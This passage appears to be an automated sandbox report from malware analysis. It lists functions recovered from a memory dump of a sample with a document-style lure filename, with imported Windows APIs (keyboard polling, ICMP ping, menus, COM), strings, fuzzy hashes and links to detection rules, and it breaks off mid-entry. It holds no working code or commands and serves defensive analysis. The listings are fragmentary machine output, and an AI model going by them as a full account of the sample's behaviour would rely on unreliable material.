Part of subcall function 0072B155: GetWindowLongW.USER32(?,000000EB), ref: 0072B166

GetSysColor.USER32(0000000F), ref: 0072B067

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: d362000fe16ed7eb73324ec7a751e06001c0c3f4cd97517da12f634b2c5b2cf7
Instruction ID: 4ef5f2fc89285f7c9f39e1a62020444f00f393f3c9272605f4500836f9cf44ea
Opcode Fuzzy Hash: d362000fe16ed7eb73324ec7a751e06001c0c3f4cd97517da12f634b2c5b2cf7
Instruction Fuzzy Hash: 5C41E531140554AFDB31AF28EC88BBA3B65AB46730F158362FD758B1E1D7388C42DB25

Function 00757334 Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0075734C
_wcscpy.LIBCMT ref: 0075735D
__wsplitpath.LIBCMT ref: 00757384
__wsplitpath.LIBCMT ref: 007573A8
_wcscpy.LIBCMT ref: 007573CA
_wcscpy.LIBCMT ref: 007573E8
_wcscpy.LIBCMT ref: 007573F9
_wcscat.LIBCMT ref: 00757408
_wcscat.LIBCMT ref: 0075745D
_wcscat.LIBCMT ref: 00757493
_wcscat.LIBCMT ref: 007574A5

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: 3d65064538be138d904cac7504cf6c32f3f99f425fb8c2853062c4dd62c6e079
Instruction ID: 5ebb930d9acbc3b6d199c088bb102b78029e1977cf55ca1fe8afd893487ac196
Opcode Fuzzy Hash: 3d65064538be138d904cac7504cf6c32f3f99f425fb8c2853062c4dd62c6e079
Instruction Fuzzy Hash: F44112B290416CAADF25EB50DC45EDE73BCAB48310F5041E6B519A2051EF79AFD8CFA0

Function 007184A6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 007184E5
__itow.LIBCMT ref: 00718519

Part of subcall function 00732177: _xtow@16.LIBCMT ref: 00732198

Strings

False, xrefs: 00785568
0x%p, xrefs: 00785582
True, xrefs: 00785561
%.15g, xrefs: 007184DF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: e1686458018a66d7ef30157b3b0d2ff48597aed9782e96195b38658f97b1daab
Instruction ID: 0e7c1a44b60d1d0e1126784ea47382e3bfa57a94985dbf86a0479769b806efb6
Opcode Fuzzy Hash: e1686458018a66d7ef30157b3b0d2ff48597aed9782e96195b38658f97b1daab
Instruction Fuzzy Hash: 4841E271600609DBEB24EF78D845EAA77E5BF48310F20446EE549D6292EE3D9A81CB11

Function 00735C91 Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00735CCA

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

__gmtime64_s.LIBCMT ref: 00735D63
__gmtime64_s.LIBCMT ref: 00735D99
__gmtime64_s.LIBCMT ref: 00735DB6
__allrem.LIBCMT ref: 00735E0C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00735E28
__allrem.LIBCMT ref: 00735E3F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00735E5D
__allrem.LIBCMT ref: 00735E74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00735E92
__invoke_watson.LIBCMT ref: 00735F03

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 44019df33dda40162e7ad5693cac5fdd13db5b94ac58de4e6029986730a9c23d
Instruction ID: e61018e0e46f10dc9215630f21d56ab00fb0a88badca7cd9b998c4fb77ae874f
Opcode Fuzzy Hash: 44019df33dda40162e7ad5693cac5fdd13db5b94ac58de4e6029986730a9c23d
Instruction Fuzzy Hash: DC71C971A41B17EBF7149F78CC85BAA73A8AF10724F144239F914DB683E778DA408B90

Function 007557FB Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00755816
GetMenuItemInfoW.USER32(007D18F0,000000FF,00000000,00000030), ref: 00755877
SetMenuItemInfoW.USER32(007D18F0,00000004,00000000,00000030), ref: 007558AD
Sleep.KERNEL32(000001F4), ref: 007558BF
GetMenuItemCount.USER32(?), ref: 00755903
GetMenuItemID.USER32(?,00000000), ref: 0075591F
GetMenuItemID.USER32(?,-00000001), ref: 00755949
GetMenuItemID.USER32(?,?), ref: 0075598E
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 007559D4
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 007559E8
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00755A09

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 4c7d7fdeaa8a9998c2e4852425ee9dcef8159b4c50dc4e9f9cda77134c32f697
Instruction ID: 46e8775d1f695b8560566b0fcc8a9a1f6b57b1cf30445c8432330d50c2b3b6e0
Opcode Fuzzy Hash: 4c7d7fdeaa8a9998c2e4852425ee9dcef8159b4c50dc4e9f9cda77134c32f697
Instruction Fuzzy Hash: DE61D370900649EFDF11DFA4C8A8AEE7BB9EB01315F14415AFC41A7251D7BDAD09CB60

Function 00779A23 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00779AA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00779AA8
GetWindowLongW.USER32(?,000000F0), ref: 00779ACC
_memset.LIBCMT ref: 00779ADD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00779AEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00779B67

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 9c79779d0b8eac7f32d6fcf43ab3ab59846ca4e626f797dda0c6e4fb4d9d45d7
Instruction ID: 6388608160c672739834cf95bcfd4205e8281e589ca7ee3a7d866c561e9a69d2
Opcode Fuzzy Hash: 9c79779d0b8eac7f32d6fcf43ab3ab59846ca4e626f797dda0c6e4fb4d9d45d7
Instruction Fuzzy Hash: 4D616F71900208AFDF11DFA8CC81EEE77B8AF09750F108156FA19A72A2D778AD41DB54

Function 00753569 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00753591
GetAsyncKeyState.USER32(000000A0), ref: 00753612
GetKeyState.USER32(000000A0), ref: 0075362D
GetAsyncKeyState.USER32(000000A1), ref: 00753647
GetKeyState.USER32(000000A1), ref: 0075365C
GetAsyncKeyState.USER32(00000011), ref: 00753674
GetKeyState.USER32(00000011), ref: 00753686
GetAsyncKeyState.USER32(00000012), ref: 0075369E
GetKeyState.USER32(00000012), ref: 007536B0
GetAsyncKeyState.USER32(0000005B), ref: 007536C8
GetKeyState.USER32(0000005B), ref: 007536DA

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 1cf4ce6bb322a8d11c628e863908583e61dfcf7d109bb294b07bf933d8d48ca4
Instruction ID: 89fb31c31d168090028c8cbf146f5578b9c9c6edd406ec56d2b8ee1d53eaf6f1
Opcode Fuzzy Hash: 1cf4ce6bb322a8d11c628e863908583e61dfcf7d109bb294b07bf933d8d48ca4
Instruction Fuzzy Hash: E14194605047C97DFF31976488243E5BAA0AB113C5F04805EDDC6462D2EBEC9FDC8B66

Function 0074A28D Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 0074A2AA
SafeArrayAllocData.OLEAUT32(?), ref: 0074A2F5
VariantInit.OLEAUT32(?), ref: 0074A307
SafeArrayAccessData.OLEAUT32(?,?), ref: 0074A327
VariantCopy.OLEAUT32(?,?), ref: 0074A36A
SafeArrayUnaccessData.OLEAUT32(?), ref: 0074A37E
VariantClear.OLEAUT32(?), ref: 0074A393
SafeArrayDestroyData.OLEAUT32(?), ref: 0074A3A0
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0074A3A9
VariantClear.OLEAUT32(?), ref: 0074A3BB
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0074A3C6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 5fc21dd1d30f17b475476c87e0babf6292e2d6e3ed82552de0a091ec96f4c16c
Instruction ID: 572774dc9e59cbafd51086a553d2b91736288b0d29feabd6ad5198ef9aa488cc
Opcode Fuzzy Hash: 5fc21dd1d30f17b475476c87e0babf6292e2d6e3ed82552de0a091ec96f4c16c
Instruction Fuzzy Hash: 29415D31900219FFCB10DFA4DC889DEBBB9FF48354F108065E901A3261DB78AA46CBA1

Function 0076B250 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

CoInitialize.OLE32 ref: 0076B298
CoUninitialize.COMBASE ref: 0076B2A3
CoCreateInstance.COMBASE(?,00000000,00000017,0079D8FC,?), ref: 0076B303
IIDFromString.COMBASE(?,?), ref: 0076B376
VariantInit.OLEAUT32(?), ref: 0076B410
VariantClear.OLEAUT32(?), ref: 0076B471

Strings

NULL Pointer assignment, xrefs: 0076B348
Invalid parameter, xrefs: 0076B38F
Failed to create object, xrefs: 0076B30E, 0076B3C4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 71b0a929df3eeae927557c4d474bcd593be3799f30953a5d985adbd203b79969
Instruction ID: 550c66b964f6da9b0dff1d46325e244f94d5a8999d05fc9ac1c2bf2794f6d2c6
Opcode Fuzzy Hash: 71b0a929df3eeae927557c4d474bcd593be3799f30953a5d985adbd203b79969
Instruction Fuzzy Hash: 30617D712043119FC710DF55C889B6AB7E8EF89714F04441DF986DB292DB78ED85CB92

Function 00768694 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 007686F5
inet_addr.WS2_32(?), ref: 0076873A
gethostbyname.WS2_32(?), ref: 00768746
IcmpCreateFile.IPHLPAPI ref: 00768754
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 007687C4
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 007687DA
IcmpCloseHandle.IPHLPAPI(00000000), ref: 0076884F
WSACleanup.WS2_32 ref: 00768855

Strings

Ping, xrefs: 00768778

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 92731a353179fa0e747f77afdfb0aaa9747f423a9f8a4b5226d7ee62b001c994
Instruction ID: 12d572c4bbf2a9626ef9b10cd7ed7d40da986c0ba0dfe63413de7e3699aa8f43
Opcode Fuzzy Hash: 92731a353179fa0e747f77afdfb0aaa9747f423a9f8a4b5226d7ee62b001c994
Instruction Fuzzy Hash: B751B431604201DFD761DF64CC49B6A77E4EF48720F14892AF996D72A1DB78EC41CB42

Function 00779C50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00779C68
CreateMenu.USER32 ref: 00779C83
SetMenu.USER32(?,00000000), ref: 00779C92
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00779D1F
IsMenu.USER32(?), ref: 00779D35
CreatePopupMenu.USER32 ref: 00779D3F
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00779D70
DrawMenuBar.USER32 ref: 00779D7E

Strings

0, xrefs: 00779C61

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0
API String ID: 176399719-4108050209
Opcode ID: c3a949255b6e141888be710cd62bd335771d78a18de8b7838fb26f2f6d9db52f
Instruction ID: c062281592cc3d17c5b0162dc6f078c288df3182a7425e044267e3280602d61c
Opcode Fuzzy Hash: c3a949255b6e141888be710cd62bd335771d78a18de8b7838fb26f2f6d9db52f
Instruction Fuzzy Hash: 3B415575A01209EFDF20EFA4D844BDABBB5FF49354F148029EA4997351D738A910DB60

Function 0075EC11 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0075EC1E
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0075EC94
GetLastError.KERNEL32 ref: 0075EC9E
SetErrorMode.KERNEL32(00000000,READY), ref: 0075ED0B

Strings

READY, xrefs: 0075ECE4
UNKNOWN, xrefs: 0075ECC3
INVALID, xrefs: 0075ECDD
NOTREADY, xrefs: 0075ECCA
READONLY, xrefs: 0075ECD6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: cc9144a1ce8c8cac673d6b8264f2afe3ea3cec6d7d709695769f8dc50c7c8bad
Instruction ID: e93e87b7202323afa9dceedb533444bc9829616a59d2ce62607da7014384803b
Opcode Fuzzy Hash: cc9144a1ce8c8cac673d6b8264f2afe3ea3cec6d7d709695769f8dc50c7c8bad
Instruction Fuzzy Hash: 3231C335A00209DFC715EF68C949EEE77B4EF44702F10801AE906D72D1DAB8DE86CBA1

Function 0074C6FD Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 0074C782
GetDlgCtrlID.USER32 ref: 0074C78D
GetParent.USER32 ref: 0074C7A9
SendMessageW.USER32(00000000,?,00000111,?), ref: 0074C7AC
GetDlgCtrlID.USER32(?), ref: 0074C7B5
GetParent.USER32(?), ref: 0074C7D1
SendMessageW.USER32(00000000,?,?,00000111), ref: 0074C7D4

Strings

ListBox, xrefs: 0074C73F
ComboBox, xrefs: 0074C707

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: 34566f517979c770e83bffb638fc5772c3f3bb2401d6a7ba322fd4aee309f2b5
Instruction ID: 46fd7a508cafc0b47184e7868442dbc59da54aa5fa6e48b82d126442bc8ab140
Opcode Fuzzy Hash: 34566f517979c770e83bffb638fc5772c3f3bb2401d6a7ba322fd4aee309f2b5
Instruction Fuzzy Hash: E721AE74900208AFCB06EBA4CC85EFEB775AB45310F508116F562932E1DB7C9856EA20

Function 0074C7E6 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 0074C869
GetDlgCtrlID.USER32 ref: 0074C874
GetParent.USER32 ref: 0074C890
SendMessageW.USER32(00000000,?,00000111,?), ref: 0074C893
GetDlgCtrlID.USER32(?), ref: 0074C89C
GetParent.USER32(?), ref: 0074C8B8
SendMessageW.USER32(00000000,?,?,00000111), ref: 0074C8BB

Strings

ListBox, xrefs: 0074C828
ComboBox, xrefs: 0074C7F0

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: 4d963fb45c2b10ca4f9e7dc11c41fb16ad47baf41ddc0f6546609cd9ace9c622
Instruction ID: dfac57e5fe12d2656a15f92d61c8af61700bcef8405bbfa71f046a95ad896365
Opcode Fuzzy Hash: 4d963fb45c2b10ca4f9e7dc11c41fb16ad47baf41ddc0f6546609cd9ace9c622
Instruction Fuzzy Hash: 49219D71A01208AFDB06AFA4CC89EFEBB79AF45300F508016F551A31D2DB7D9856EB60

Function 0074C8CD Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

